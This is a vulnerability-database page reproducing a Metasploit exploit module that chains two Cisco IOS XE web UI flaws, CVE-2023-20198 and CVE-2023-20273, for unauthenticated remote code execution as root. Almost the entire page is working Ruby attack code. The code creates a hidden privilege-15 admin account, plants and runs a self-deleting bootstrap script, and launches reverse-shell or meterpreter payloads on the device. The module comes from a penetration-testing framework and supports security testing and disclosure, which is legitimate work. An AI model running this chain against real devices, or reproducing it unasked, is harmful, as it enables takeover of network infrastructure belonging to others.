Lucene search
K

Cisco IOX XE Unauthenticated RCE Chain

🗓️ 08 Nov 2023 19:50:38Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1020 Views

Cisco IOX XE Unauthenticated RCE Chain, leverages CVE-2023-20198 and 20273, allows root privilege

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::CiscoIosXe
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',
        'Description' => %q{
          This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
          devices which have the Web UI exposed. An attacker can execute a payload with root privileges.

          The vulnerable IOS XE versions are:
          16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
          16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
          16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
          16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
          16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
          16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
          16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
          16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
          16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
          16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
          16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
          16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
          16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
          17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
          17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
          17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
          17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
          17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
          17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
          17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
          17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
          17.11.99SW

          NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
          though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit
        ],
        'References' => [
          ['CVE', '2023-20198'],
          ['CVE', '2023-20273'],
          # Vendor advisories.
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
          ['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
          # Vendor list of (205) vulnerable versions.
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
          # Technical details on CVE-2023-20198.
          ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],
          ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],
          # Technical details on CVE-2023-20273.
          ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],
          # Full details of a successful exploitation attempt from a honey pot.
          ['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],
        ],
        'DisclosureDate' => '2023-10-16',
        'Privileged' => true,
        'Targets' => [
          [
            # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
            # cmd/linux/http/x64/meterpreter/reverse_tcp
            # cmd/linux/http/x64/shell/reverse_tcp
            # cmd/linux/http/x86/shell/reverse_tcp
            'Linux Command',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_CMD]
            },
          ],
          [
            # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
            # cmd/unix/python/meterpreter/reverse_tcp
            # cmd/unix/reverse_bash
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD]
            },
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of
        # 'global' should work, but exposing this as an option will allow for usage in more complex network setups.
        # A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to
        # inspect a devices configuration to see an appropriate VRF to use.
        OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),
        # We may need to try and execute a command a second time if it fails the first time. This option is the maximum
        # number of seconds to keep trying.
        OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])
      ]
    )
  end

  def check
    # First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with
    # the Web UI exposed (which is the vulnerable component).
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('webui', '/')
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.
    if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))
      return CheckCode::Unknown('Web UI not detected')
    end

    # By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,
    # so if this request succeeds, then we know the target is vulnerable.
    res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)

    # If the above request failed, then the target is safe.
    return CheckCode::Safe('CVE-2023-20273 command injection check failed; target is not vulnerable') unless res

    version = 'Cisco IOS XE Software'

    # If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable
    # (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format
    # for the version information so our regex wont work.
    # Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2
    if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/
      version = Regexp.last_match(1)
    end

    # Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,
    # it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not
    # vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
    # As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs
    # work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via
    # CVE-2023-20198).
    begin
      # NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and
      # do_auth_bypass may print several status messages if verbose is true.
      do_auth_bypass(verbose: false) do |username, password|
        do_rce_check(username, password)
      end
    rescue Msf::Exploit::Failed => e
      # If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the
      # exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide
      # some additional context to the user by passing the Failure message to the CheckCode.
      return CheckCode::Safe("#{e}. #{version}")
    end

    CheckCode::Vulnerable(version)
  end

  def exploit
    do_auth_bypass(verbose: true) do |username, password|
      do_rce_payload(username, password)
    end
  end

  def do_auth_bypass(verbose: true)
    admin_username = rand_text_alpha(8)
    admin_password = rand_text_alpha(8)

    # Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.
    unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)
      fail_with(Failure::UnexpectedReply, 'Failed to create admin user')
    end

    begin
      print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") if verbose

      yield(admin_username, admin_password)
    ensure
      print_status("Removing user '#{admin_username}'") if verbose

      # Leverage CVE-2023-20198 to remove the admin account we previously created.
      if !run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) && verbose
        print_warning('Failed to remove user')
      end
    end
  end

  def do_rce_payload(username, password)
    # Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...

    # A shell script to execute the Metasploit payload. Will delete itself upon execution.
    bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"

    # The location of our bootstrap script.
    bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"

    # NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
    # 17.8 to work as expected. Version 16.* did not work when semicolons were present in the command line.

    # Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
    # with restricted chars, and leverage openssl to decode and write the contents to disk.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') unless success

    # Make the script executable.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("chmod +x #{bootstrap_file}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') unless success

    # Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
    # default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh
    # scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') unless success
  end

  # We can check a target is vulnerable to CVE-2023-20273, by leveraging CVE-2023-20273 to write a file to the web root
  # folder, and then read that file back out via an HTTP GET request. If we can read back out the expected data, we know
  # the target is vulnerable to CVE-2023-20273.
  def do_rce_check(username, password)
    check_data = Rex::Text.rand_text_alpha(16)

    check_file = Rex::Text.rand_text_alpha(16)

    check_path = "/var/www/#{check_file}"

    cmd = "echo -n #{check_data} > #{check_path}"

    fail_with(Failure::UnexpectedReply, 'Failed to run check command via CVE-2023-20273') unless run_os_command(cmd, username, password)

    begin
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('webui', check_file),
        'headers' => {
          'Authorization' => basic_auth(username, password)
        }
      )

      fail_with(Failure::UnexpectedReply, 'Failed to get check command output for CVE-2023-20273') unless res&.code == 200

      fail_with(Failure::UnexpectedReply, 'Failed to validate check command output for CVE-2023-20273') unless res&.body == check_data
    ensure
      # Deleting the output file can take more than one attempt.
      retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
        next run_os_command("rm #{check_path}", username, password)
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 19:02Current
8.2High risk
Vulners AI Score8.2
CVSS 3.110
EPSS0.99571
SSVC
1020